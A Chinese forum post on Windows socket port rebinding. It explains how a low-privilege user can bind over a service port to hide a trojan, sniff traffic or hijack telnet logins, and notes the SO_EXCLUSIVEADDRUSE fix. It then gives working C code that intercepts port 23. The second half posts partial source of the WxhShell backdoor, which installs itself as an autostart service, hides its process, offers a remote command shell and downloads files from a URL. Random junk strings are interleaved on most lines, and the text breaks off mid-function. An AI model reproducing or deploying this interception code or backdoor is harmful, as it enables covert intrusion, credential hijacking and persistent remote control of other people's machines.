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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TuIeaH%x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6e  |  
1{o CMq/v  
  saddr.sin_family = AF_INET; Uw61X>y=  
W7(OrA!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); HxZ4t  
m{%_5nW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5*g@;aR1  
A ,LAA$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b4%IyJr  
"j$}'uK<  
  这意味着什么?意味着可以进行如下的攻击: uO[4 WZ  
9-Ib+/R0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7 UQD02  
d /t'N-m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) DVTzN(gO*~  
9D<^)ShY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DT9i<kl  
v{% /aw  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "a,Tc2xk  
l*X5<b9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &-cI|  
<V6#)^Or  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +nJ}+|@K  
`=-}S+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;"Ot\:0  
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  #include <NJ7mR}  
  #include )@K|Co  
  #include r<|\4zIo/  
  #include    "9WP^[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3\(s=- vh  
  int main() =<e#  2  
  { "{V,(w8Dt  
  WORD wVersionRequested; B;K{Vo:C  
  DWORD ret; G&uj}rj  
  WSADATA wsaData; n Isi  
  BOOL val; CJu;X[6  
  SOCKADDR_IN saddr; zkd#vAY(A  
  SOCKADDR_IN scaddr; p!Gf ^  
  int err; \C<rg|  
  SOCKET s; D!Gm9Pa}  
  SOCKET sc; Q'|cOQX  
  int caddsize; 6B+ @76wH  
  HANDLE mt; lA]u8+gXd  
  DWORD tid;   +5({~2Lzvp  
  wVersionRequested = MAKEWORD( 2, 2 ); ol[{1KT{  
  err = WSAStartup( wVersionRequested, &wsaData ); R K'( {1  
  if ( err != 0 ) { 8\a)}k~4  
  printf("error!WSAStartup failed!\n"); *|=&MU*+  
  return -1; k~vmHb  
  } L>L4%?  
  saddr.sin_family = AF_INET; r+lY9 l  
   ol YSr .Q`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A?7%q^;E  
NA3yd^sr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?%LD1 <ya  
  saddr.sin_port = htons(23); gai?LXM l}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3oKqj>  
  { *508PY  
  printf("error!socket failed!\n"); }40/GWp<f  
  return -1; C$%QVcf  
  } +2?0]6EQ  
  val = TRUE; +f7?L]wzic  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ow$#kQ&R O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8:A<PV!+  
  { vj_oMmjKw  
  printf("error!setsockopt failed!\n"); c:$:j,i}  
  return -1; r2<+ =INn  
  } ! \gRXP}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J%A`M\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z)]EB6uRg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _Ng*K]0/E  
VAthQ<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 43)9iDmJ8<  
  { %fyb?6?Y  
  ret=GetLastError(); BT#>b@Xub  
  printf("error!bind failed!\n"); Q72wg~%w  
  return -1; ^y3\e  
  } -s)2b ;  
  listen(s,2); CVUJ(D&Q  
  while(1) tEEhSG)s%  
  { .o-j  
  caddsize = sizeof(scaddr); /9yiMmr5W  
  //接受连接请求 ~XxD[T5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q#778  
  if(sc!=INVALID_SOCKET) tFSdi. |G=  
  { K;97/"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y$&a(S]  
  if(mt==NULL) 5\'%zZ,l  
  { [@y=% \%R  
  printf("Thread Creat Failed!\n"); {xykf7zp  
  break; I{AU,  
  } ps [6)d)o  
  } M!hby31  
  CloseHandle(mt); I/> IB   
  } "''<:K|  
  closesocket(s); %1<p1u'r?#  
  WSACleanup(); zo5.}mr+  
  return 0; ."^dJ |fN  
  }   \}Wkj~IX  
  DWORD WINAPI ClientThread(LPVOID lpParam) $ i&$ZdX  
  { Cei U2.:U  
  SOCKET ss = (SOCKET)lpParam; w2,T.3DT  
  SOCKET sc; <F3sQAe  
  unsigned char buf[4096]; &59#$LyH`%  
  SOCKADDR_IN saddr; /j)VES  
  long num; ^kD? 0Fm  
  DWORD val; 1h#k&r#*3  
  DWORD ret; _l,Z38  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pkU e|V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8k1 r|s@d  
  saddr.sin_family = AF_INET; =5/;h+bk+3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rO`g~>-  
  saddr.sin_port = htons(23); vedMzef[@>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (XwLKkw0n  
  { Z+dR(9otH3  
  printf("error!socket failed!\n"); tZYI{ m{  
  return -1; `p{ !5  
  } OT& E)eR  
  val = 100; G}-.xj]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #rpqt{m l  
  { 9v F2aLPk  
  ret = GetLastError(); Ntn md  
  return -1; u/[]g+  
  } GA_`C"mx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N.G*ii\  
  { SN{*:\>,  
  ret = GetLastError(); IeB6r+4|  
  return -1; i@CMPz-h&  
  } <ut DZ#k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DqMK[N,0  
  { u,akEvH~a  
  printf("error!socket connect failed!\n"); y9L#@   
  closesocket(sc); uT/B}`md  
  closesocket(ss); D;I`k L  
  return -1; T"H )g  
  } I PVzV\o  
  while(1) 6}T%m?/}  
  { 7ILa H|eN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fBgKX ?Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xN m32~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j?f <hQ  
  num = recv(ss,buf,4096,0); 0#[f2X62B  
  if(num>0) yOK])&c  
  send(sc,buf,num,0); Z&w^9;30P  
  else if(num==0) '= <`@  
  break; i"]8Zw_D  
  num = recv(sc,buf,4096,0); lZM3Q58?\  
  if(num>0) DjzUH{6O  
  send(ss,buf,num,0); @5jG  
  else if(num==0) ~{vdP=/WP  
  break; -?nT mzRc  
  } ING_:XpnJ  
  closesocket(ss); =_=Z;#`cXk  
  closesocket(sc); 06^1#M$'  
  return 0 ; bez'[Y{  
  } a9Fm Y`  
pRwGv  
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========================================================== (bx\4Ws  
 aoDD&JE  
下边附上一个代码,,WXhSHELL <i'u96  
I26gGp  
========================================================== d BMe`hM)  
vaRwh E:  
#include "stdafx.h" [Hj'nA^  
iEpq*Qj  
#include <stdio.h> @y(Wy}  
#include <string.h> e?| URW  
#include <windows.h> 2d2@J{  
#include <winsock2.h> `GQiB]Z  
#include <winsvc.h> aGe(vQPi9  
#include <urlmon.h> !wd'::C  
],F}}pv  
#pragma comment (lib, "Ws2_32.lib") G|-\T(&J  
#pragma comment (lib, "urlmon.lib") %i&/$0.8  
i.t9jN  
#define MAX_USER   100 // 最大客户端连接数 6%kJDY.  
#define BUF_SOCK   200 // sock buffer '^U tbp2<  
#define KEY_BUFF   255 // 输入 buffer 7<:Wq=e!r  
}@14E-N=  
#define REBOOT     0   // 重启 'q92E(  
#define SHUTDOWN   1   // 关机 u\XkXS`  
lU $4NU wM  
#define DEF_PORT   5000 // 监听端口 gr>o E#7  
/> 3  
#define REG_LEN     16   // 注册表键长度 /S]:dDY9K  
#define SVC_LEN     80   // NT服务名长度 hDljY!P>p  
RM&H!E<#  
// 从dll定义API \- =^]]b=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R3j#WgltP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @0z0m;8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OK-sT7But  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H^D 3NuUC  
+_X,uvR  
// wxhshell配置信息 )@]6=*%  
struct WSCFG { c6,s+^^  
  int ws_port;         // 监听端口 f6B-~x<l  
  char ws_passstr[REG_LEN]; // 口令 (!*Xhz,(-  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z'Exw-ca  
  char ws_regname[REG_LEN]; // 注册表键名 oWp}O?  
  char ws_svcname[REG_LEN]; // 服务名 ]$~Fzs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 heL$2dZ5H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %j'G.*TD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =#i4MXRZ{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X,TTM,1w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u>}w-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o_Jn_3=  
r$GPYyHK  
}; 9- xlvU,o  
Ot`LZ"H:  
// default Wxhshell configuration XM6".eF)M  
struct WSCFG wscfg={DEF_PORT, vi]r  
    "xuhuanlingzhe", *jM_wwG  
    1, =db'#m{$  
    "Wxhshell", C8IkpAD  
    "Wxhshell", M{?zvq?d  
            "WxhShell Service", ,3Wb4so  
    "Wrsky Windows CmdShell Service", b7B+eN ?z  
    "Please Input Your Password: ", E X%6''ys  
  1, TB7>s~)47E  
  "http://www.wrsky.com/wxhshell.exe", ;n`R\NO9  
  "Wxhshell.exe" lPM3}52Xu  
    }; I|,pE**T  
sm 's-gD  
// 消息定义模块 ^WE4*.(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0QMTIAW6h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (I-<f$3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z_H?WGO  
char *msg_ws_ext="\n\rExit."; M.>^{n$ z  
char *msg_ws_end="\n\rQuit."; v(DwU!  
char *msg_ws_boot="\n\rReboot..."; <9P4}`%)3  
char *msg_ws_poff="\n\rShutdown..."; r&}(9Cq&"y  
char *msg_ws_down="\n\rSave to "; E7Ibp79}N  
B*\$ /bk,  
char *msg_ws_err="\n\rErr!"; 9G0D3F  
char *msg_ws_ok="\n\rOK!"; Qg(Z{V  
jY7=mAd  
char ExeFile[MAX_PATH]; B:4Ka]{YO  
int nUser = 0; !fY7"E{%%  
HANDLE handles[MAX_USER]; pb!V|#u"  
int OsIsNt; lnS(&`oh\=  
%2f//SZ:  
SERVICE_STATUS       serviceStatus; gtiEhCF2W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F{<5aLaYti  
? ^M /[@  
// 函数声明 :Sr?6FPc  
int Install(void); 5?WYsj"  
int Uninstall(void); 33Jd!orXU  
int DownloadFile(char *sURL, SOCKET wsh); bEm7QgV{X  
int Boot(int flag); U-i.(UyZ  
void HideProc(void); "~F3*lk#E  
int GetOsVer(void); zuSq+px L@  
int Wxhshell(SOCKET wsl); vY6oV jM  
void TalkWithClient(void *cs); {7*>Cv}  
int CmdShell(SOCKET sock); E<tK4?i"  
int StartFromService(void); lVz9k  
int StartWxhshell(LPSTR lpCmdLine); `vd= ec  
~#R9i^Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "(v%1tGk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ? B@&#E!/f  
: [q0S@  
// 数据结构和表定义 Mi+H#xx16  
SERVICE_TABLE_ENTRY DispatchTable[] = &(EHq  
{ 6i.gyD  
{wscfg.ws_svcname, NTServiceMain}, bB!#:j>(v  
{NULL, NULL} G8nrdN-9  
}; IOL L1ar  
"wAf. =F  
// 自我安装 j9d!yW  
int Install(void) > _ <'D  
{ #2RiLht  
  char svExeFile[MAX_PATH]; <Mx0\b!  
  HKEY key; =<c#owe:m  
  strcpy(svExeFile,ExeFile); W+Xz$j/u  
qFco3  
// 如果是win9x系统,修改注册表设为自启动 fH\X  
if(!OsIsNt) { 5 c5oSy+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oc7$H>ET1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K_~h*Yc  
  RegCloseKey(key); %@Oma  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \P;rES'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ('O}&F1  
  RegCloseKey(key); Yw'NX5#)g  
  return 0; G,f-.  
    } "T2"]u<52  
  } J NVr  
} ]}Z4P-"t  
else { z0%\OhuCcf  
MZV_5i@:  
// 如果是NT以上系统,安装为系统服务 !ErH~<f%K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )?=YT  
if (schSCManager!=0) b0v:12q  
{ T f4tj!t-  
  SC_HANDLE schService = CreateService >(r{7Qg  
  ( /ASaB  
  schSCManager, b| M3 `  
  wscfg.ws_svcname, mO*^1  
  wscfg.ws_svcdisp, %zBCq"y  
  SERVICE_ALL_ACCESS, &Lm-()wb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |TsE-t*E}  
  SERVICE_AUTO_START, 2f>PO +4S{  
  SERVICE_ERROR_NORMAL, 2 PqS%`XiS  
  svExeFile, G(iJi  
  NULL, K+Y^>N4m  
  NULL, gU&%J4O  
  NULL, j}1zdA  
  NULL, D&G"BZx|  
  NULL P 1XK*GZ  
  ); G{Yz8]m  
  if (schService!=0) lg :  
  { 5cJ !"  
  CloseServiceHandle(schService); kDvc" ,SD#  
  CloseServiceHandle(schSCManager); 5U`ZbG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =,y |00l  
  strcat(svExeFile,wscfg.ws_svcname); z~*g~RKS!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }t9.N`xu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L< ^j"!0  
  RegCloseKey(key); 5xCT~y/a  
  return 0; V7d) S&*V  
    } fq )vK  
  } h4|i%,f  
  CloseServiceHandle(schSCManager); =GlVccc  
} H}hFFI)#Oo  
} #:jb*d?  
6W[}$#w  
return 1; Sr?#wev]rn  
} te|? )j  
az0<5 Bq)  
// 自我卸载 W%<LTWOc  
int Uninstall(void) >F1kR\!  
{ W>_]dPBS/  
  HKEY key; 5 @U<I  
vo>d!rVCV  
if(!OsIsNt) { ^d}gpin  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l^GP3S  
  RegDeleteValue(key,wscfg.ws_regname); hu_ ^OlF  
  RegCloseKey(key); :x.7vZzxs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z>sbr<doa  
  RegDeleteValue(key,wscfg.ws_regname); 8Jf.ECQT  
  RegCloseKey(key); [B@'kwD\l  
  return 0; <q*oV  
  } Z4<L$i;/jN  
} -9N@$+T  
} _Zk{!  
else { 2M#M"LHo  
glDcUCF3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lC:k7<0Ji  
if (schSCManager!=0) ^b:( jI*l  
{ &'cL%.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X%z }VA  
  if (schService!=0) ojYbR<jn9  
  { mxor1P#|  
  if(DeleteService(schService)!=0) { ! cKz7?w  
  CloseServiceHandle(schService); Lg8nj< TF  
  CloseServiceHandle(schSCManager); ^` un'5Vk  
  return 0; 9T#;,{VQ  
  } DPi_O{W>  
  CloseServiceHandle(schService); X%yO5c\l2  
  } fYKOJ5f  
  CloseServiceHandle(schSCManager); "$s~SIUB  
} =*p/F  
}  "KcA  
c/c$D;T  
return 1; N0hE4t  
} f{SB1M   
YK|bXSA[  
// 从指定url下载文件 ^u 3V E  
int DownloadFile(char *sURL, SOCKET wsh) ^N8)]F,  
{ x.Q&$#  
  HRESULT hr; &-(463  
char seps[]= "/"; Kw#so; e  
char *token; /cc\fw1+  
char *file;  >S$Z  
char myURL[MAX_PATH]; gV&z2S~"  
char myFILE[MAX_PATH]; .<kqJ|SVi  
F~A'X  
strcpy(myURL,sURL); \u6^Varw  
  token=strtok(myURL,seps); 2]%h$f+  
  while(token!=NULL)  XL7h}  
  { =zwOq(Bh W  
    file=token; ^CwR!I.D}4  
  token=strtok(NULL,seps); %Uz(Vd#K  
  } R|i/lEq  
v4@Z(M  
GetCurrentDirectory(MAX_PATH,myFILE); CI3XzH\IX*  
strcat(myFILE, "\\"); J\ e+}{  
strcat(myFILE, file); AT5aDEb^^  
  send(wsh,myFILE,strlen(myFILE),0); DTWD |M  
send(wsh,"...",3,0); iNMx"F0r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tw +  
  if(hr==S_OK) as J)4ema  
return 0; +F dB '  
else m3o,@=b  
return 1; g-Pwp[!qkf  
z=$jGL  
} =4h+ M$2  
Bn>8&w/P  
// 系统电源模块 &+G"k~%  
int Boot(int flag) #s!'+|2n  
{ b(9FZ]7S  
  HANDLE hToken; 4H@Wc^K  
  TOKEN_PRIVILEGES tkp; QBR=0(giF  
znJ'iV f  
  if(OsIsNt) { 8i?l02  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y\&>Z yOY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 52o x`t|  
    tkp.PrivilegeCount = 1; 4 B*0M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 28 3 H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 86z]<p (  
if(flag==REBOOT) { p ;|jI1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [TNj;o5J  
  return 0; dx ;k`r$w  
} S4=R^];l  
else { I*VCpaA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n-DVT;y  
  return 0; W\18{mbuy  
} JMTvSXr  
  } 8uA,iYD  
  else {  [~&XL0  
if(flag==REBOOT) { [d* ~@P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t='# |');  
  return 0; cW+t#>' r  
} [CAR[ g&  
else { &N;-J2M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bO<CR  
  return 0; &.Zb,r$Y  
} `SVmQSwO[  
} zq%D/H6J,  
Ux+Q  
return 1; Y[ N^p#t{  
} Ja ,Cvt  
T7f ${  
// win9x进程隐藏模块 t-LG }nv  
void HideProc(void) t+Op@*#%  
{ @JRNb=?a  
not YeY7wR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [xKd7"d/n  
  if ( hKernel != NULL ) q7&6r|w1I  
  { bBY^+c<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ka,^OW}<%q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cm[c ze+*  
    FreeLibrary(hKernel); ?MQ.% J  
  } }mZwd_cK  
aj}(E +  
return; xz:J  
} |`;54_f  
l{D'uI[&  
// 获取操作系统版本 ){Ob,LEU&  
int GetOsVer(void) ox ;  
{ j+HHQd7Y  
  OSVERSIONINFO winfo; P bQk<"J1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kkK kf'  
  GetVersionEx(&winfo); pBw0"ff  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @'=Uq  
  return 1; CSCN['x  
  else hxS 6:5Uc  
  return 0; &Ni`e<mP  
} X_v[MW  
 kQ   
// 客户端句柄模块 ,<2DL p%%D  
int Wxhshell(SOCKET wsl) 5K?}}Frrt`  
{ KOwOIDt  
  SOCKET wsh; {f{ZHi|  
  struct sockaddr_in client; K x~|jq  
  DWORD myID; J sEa23  
Xj*vh m%i  
  while(nUser<MAX_USER) fJWC)E  
{ vpU#xm.K  
  int nSize=sizeof(client); 5?Wto4j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lq>&d,F06)  
  if(wsh==INVALID_SOCKET) return 1; +NFzSal  
Dn>%%K@0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C^ )*Dsp  
if(handles[nUser]==0) ko^\ HSXl  
  closesocket(wsh); Ks\ NE=;5  
else w4LScvBg  
  nUser++; %2V-~.Ro6  
  } hTbI -u7BF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !u]1 dxa  
nQ GQWg`  
  return 0; sm$ (Y.N  
} )3h^Y=43  
K|oacOF9  
// 关闭 socket d`1I".y  
void CloseIt(SOCKET wsh) |!F5.%PY  
{ g&n)fF  
closesocket(wsh); p^iRPI  
nUser--; 3R&lqxhg  
ExitThread(0); wd/< 8>2X  
} eX_D/25 $  
b}Zd)2G  
// 客户端请求句柄 q:<{% U$  
void TalkWithClient(void *cs) 4Bl{WyMJ|  
{ |7#[ (%D!  
B&N/$= 5m  
  SOCKET wsh=(SOCKET)cs; eznypY=  
  char pwd[SVC_LEN]; e${>#>  
  char cmd[KEY_BUFF]; `EtS!zD~b  
char chr[1]; @zgdq  
int i,j; V i&*&"q  
iZZ (4  
  while (nUser < MAX_USER) { >><.3  
*|_"W+JC  
if(wscfg.ws_passstr) { 9h0X&1u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .SWt3|Pi5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nhN);R~o"1  
  //ZeroMemory(pwd,KEY_BUFF); cT\I[9! )  
      i=0; )z8!f}:De=  
  while(i<SVC_LEN) { "k Te2iS  
FW"^99mrnb  
  // 设置超时 \u&_sBLKV  
  fd_set FdRead; 4^<6r*  
  struct timeval TimeOut; %_UN<a  
  FD_ZERO(&FdRead); 0<TD/1wN  
  FD_SET(wsh,&FdRead); d(:3   
  TimeOut.tv_sec=8; -8N|xQ378  
  TimeOut.tv_usec=0; r_YIpnJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Yhp]x   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %okzOKKX  
rDdzxrKg{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^2wLxXO6  
  pwd=chr[0]; +-B^Z On  
  if(chr[0]==0xd || chr[0]==0xa) { MV=9!{`  
  pwd=0; L^^4=ao0  
  break; 3zT_^;:L  
  } [j4v]PE  
  i++; tDDy]==E  
    } hAj1{pA,  
c)&>$S8*  
  // 如果是非法用户,关闭 socket "S&%w8V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +PK6-c\r  
} 8z5# ]u;  
"g+z !4b#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C[WCg9Av  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A?Wk  w f  
P IXL6  
while(1) { ",>H(wJ8  
~m*,mz  
  ZeroMemory(cmd,KEY_BUFF); -|Kzo_" v5  
_ IeU+tS  
      // 自动支持客户端 telnet标准   ]4 (?BJ  
  j=0; !jqWwi  
  while(j<KEY_BUFF) { dC}`IR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !AJ]j|@VBd  
  cmd[j]=chr[0];  ,YhwpkL  
  if(chr[0]==0xa || chr[0]==0xd) { [\R>Xcu>  
  cmd[j]=0; %PJhy2  
  break; f f7(  
  } htP|3B  
  j++; D5?phyC[Z  
    } [Vf}NF  
^zEE6i  
  // 下载文件 Q)af|GW$  
  if(strstr(cmd,"http://")) { D=RU`?L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l.nH?kK<  
  if(DownloadFile(cmd,wsh)) XN,,cU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CVXytS?@x  
  else 0uCT+-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2i|B=D(  
  } 9N[EZhW  
  else { xv7"WFb  
9j*0D("  
    switch(cmd[0]) { "8V{5e!%j'  
  +CM7C%U   
  // 帮助 PNSMcakD  
  case '?': { >6Lm9&}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); # fhEc;t  
    break; %~*jae!f  
  } 1px\K8  
  // 安装 b]gY~cbI8  
  case 'i': { ;HOPABWz)  
    if(Install()) H^1gy=kdj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *@V*~^V"J[  
    else OY"6J@[z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2k#t .-  
    break; *Dr5O9Y  
    } "Mmf6hu  
  // 卸载 cjULX+h  
  case 'r': { d`Q7"}uZ  
    if(Uninstall()) |dadH7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L4f7s7rJ  
    else TOI4?D]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AW5iV3  
    break; 0_eQlatb  
    } b4,jN~ci  
  // 显示 wxhshell 所在路径 ! d9AG|  
  case 'p': { 'PdmI<eXQ  
    char svExeFile[MAX_PATH]; 2H?d+6Pt3  
    strcpy(svExeFile,"\n\r"); j nwQV  
      strcat(svExeFile,ExeFile); EEf ]u7  
        send(wsh,svExeFile,strlen(svExeFile),0); + C7T]&5s  
    break; -+U/Lrt>8  
    } (*l2('e#@  
  // 重启 < 8(?7QI  
  case 'b': { =?0QqCjK)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +lO'wa7|3  
    if(Boot(REBOOT)) \Rk$t7ZH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F@YV]u>N  
    else { -.vDF?@G  
    closesocket(wsh); F}ukZ DB  
    ExitThread(0); xQt 3[(Z  
    } >R,?hWT  
    break; YT2'!R 1  
    } {w`:KR6o7  
  // 关机 #A <1aQ  
  case 'd': { I6OSC&A`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9]_GNk-D  
    if(Boot(SHUTDOWN)) nbvkP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W7G9Kx1Y  
